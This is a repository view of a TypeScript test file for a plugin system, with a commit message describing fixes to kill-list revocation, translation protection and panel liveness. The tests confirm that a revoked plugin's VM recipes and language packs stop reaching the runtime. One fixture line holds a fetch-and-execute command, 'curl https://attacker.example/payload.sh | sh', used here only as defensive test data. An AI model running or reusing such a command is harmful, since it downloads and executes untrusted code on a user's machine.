Files
orca/src/main/plugins/plugin-kill-list-content-revocation.test.ts
T
NeilandOrca 5c59c84c7a fix(plugins): close four trust-boundary holes in the plugin system (#11232)
* fix(plugins): close trust-boundary holes in the plugin system

Move five security decisions to their chokepoints rather than leaving them
enumerated at individual call sites.

- Kill-list revocation reaches content packs: PluginContentPackRegistry now
  takes an isKilled predicate and intersects it with any caller-supplied
  approval, so a killed plugin's VM recipes can no longer reach
  spawn(..., { shell: true }) through either reconcile() call site.
- Bound kill-list generatedAt to a 24h future skew at the parse chokepoint.
  A far-future timestamp previously made every genuine later list look
  "older" and disabled revocation permanently, persisted across restarts.
- Protect the whole auto.components.settings.Plugin* translation subtree
  instead of an enumerated prefix list, so language packs cannot forge the
  consent provenance badge or rewrite install-error security copy.
- Resolve manifest panel icons by own-key only; "constructor"/"__proto__"
  previously yielded non-component prototype members that crashed the
  right sidebar to its error boundary.
- Give panel liveness frames a reserved control budget so a panel that
  saturates its action budget can still answer the watchdog.

Co-authored-by: Orca <help@stably.ai>

* fix(plugins): keep the kill-list future bound off the cache read path

The schema-level generatedAt bound re-judged the on-disk cache against the
device clock at every launch, so a client whose clock ran behind the last
genuine publication discarded its whole cached kill list and started with
zero revocations. Move the bound to the two fetch chokepoints instead.

Co-authored-by: Orca <help@stably.ai>

* fix(plugins): remove the reserved-lane starvation window and the revocation TOCTOU

Review follow-ups on the trust-boundary fixes:

- The reserved liveness lane had a per-window count equal to the ping
  interval, so a panel's own pong-shaped traffic could spend it and drop
  the next genuine reply — reintroducing the starvation the lane exists to
  prevent. The lane is now size-bounded only; rate stays bounded because
  every pong is also charged to the data budget.
- Only schema-valid pongs take the lane now, so near-miss pong-shaped junk
  cannot drain it. readPanelPongId replaces the zod parse on this
  guest-controlled path (a rejected safeParse allocates an issue list, ~90x
  the accepted-path cost) and is pinned to the schema by a parity test.
- Re-read the kill list inside approveAtomically: approvedKeys is snapshotted
  before an awaited verification phase, so a plugin killed during that wait
  could still publish VM recipes and language packs.
- Assert the curated icon resolves to FileText; the old equality also passed
  when both sides fell back to Plug.

Co-authored-by: Orca <help@stably.ai>

* fix(plugins): match zod's safe-integer bound in the pong reader

readPanelPongId used Number.isInteger, but zod's .int() rejects anything
above 2**53-1, so pingIds like 1e100 took the reserved lane the schema
would have refused. The parity test never probed that boundary.

Co-authored-by: Orca <help@stably.ai>

---------

Co-authored-by: Orca <help@stably.ai>
2026-07-28 17:49:20 -07:00

106 lines
3.7 KiB
TypeScript

import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest'
import { getApprovedPluginVmRecipes } from './plugin-approved-vm-recipes'
import { PluginService } from './plugin-service'
import { hashPluginTree } from './plugin-content-hash'
/** A kill-listed plugin's declarative content must stop reaching the runtime:
* VM recipe `create` strings are executed through spawn(..., { shell: true }). */
const roots: string[] = []
const services: PluginService[] = []
const pluginKey = 'orca-samples.recipes'
function contentManifest(): PluginManifest {
return pluginManifestSchema.parse({
manifestVersion: 1,
id: 'recipes',
publisher: 'orca-samples',
name: 'Recipes',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
contributes: {
languagePacks: [{ locale: 'es', path: 'locales/es.json' }],
vmRecipes: [{ path: 'recipes/vm.json' }]
},
capabilities: []
})
}
async function pluginRoot(): Promise<string> {
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-kill-content-'))
roots.push(root)
await Promise.all([mkdir(join(root, 'locales')), mkdir(join(root, 'recipes'))])
await Promise.all([
writeFile(join(root, 'orca-plugin.json'), JSON.stringify(contentManifest())),
writeFile(join(root, 'locales', 'es.json'), JSON.stringify({ settings: 'Ajustes' })),
writeFile(
join(root, 'recipes', 'vm.json'),
JSON.stringify({
schemaVersion: 1,
id: 'killed-recipe',
name: 'Killed Recipe',
create: 'curl https://attacker.example/payload.sh | sh'
})
)
])
return root
}
async function createService(root: string, isKilled: () => boolean): Promise<PluginService> {
const content = await hashPluginTree(root)
if (!content.ok) {
throw new Error(content.error)
}
const service = new PluginService({
userDataPath: root,
hostVersion: '1.4.0',
isPluginSystemEnabled: () => true,
getDisabledPlugins: () => [],
getPluginConsents: () => ({
[pluginKey]: fingerprintPluginConsent(contentManifest(), content.hash)
}),
getDevPluginPaths: () => [root],
getPluginKillListEntry: (key) =>
isKilled() && key === pluginKey ? { pluginKey, reason: 'Malware advisory' } : null
})
services.push(service)
return service
}
afterEach(async () => {
await Promise.all(services.splice(0).map((service) => service.dispose()))
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('kill-list revocation of declarative plugin content', () => {
it('withdraws VM recipes and language packs when a live plugin is killed', async () => {
const root = await pluginRoot()
let killed = false
const service = await createService(root, () => killed)
await service.initialize()
expect(await getApprovedPluginVmRecipes(service)).toHaveLength(1)
killed = true
await service.reconcileActivationState()
expect(await getApprovedPluginVmRecipes(service)).toEqual([])
expect(service.contentPacks.languagePacks.list()).toEqual([])
})
it('never publishes killed content after a restart discovers the plugin', async () => {
const root = await pluginRoot()
const service = await createService(root, () => true)
await service.initialize()
expect(await getApprovedPluginVmRecipes(service)).toEqual([])
expect(service.contentPacks.languagePacks.list()).toEqual([])
})
})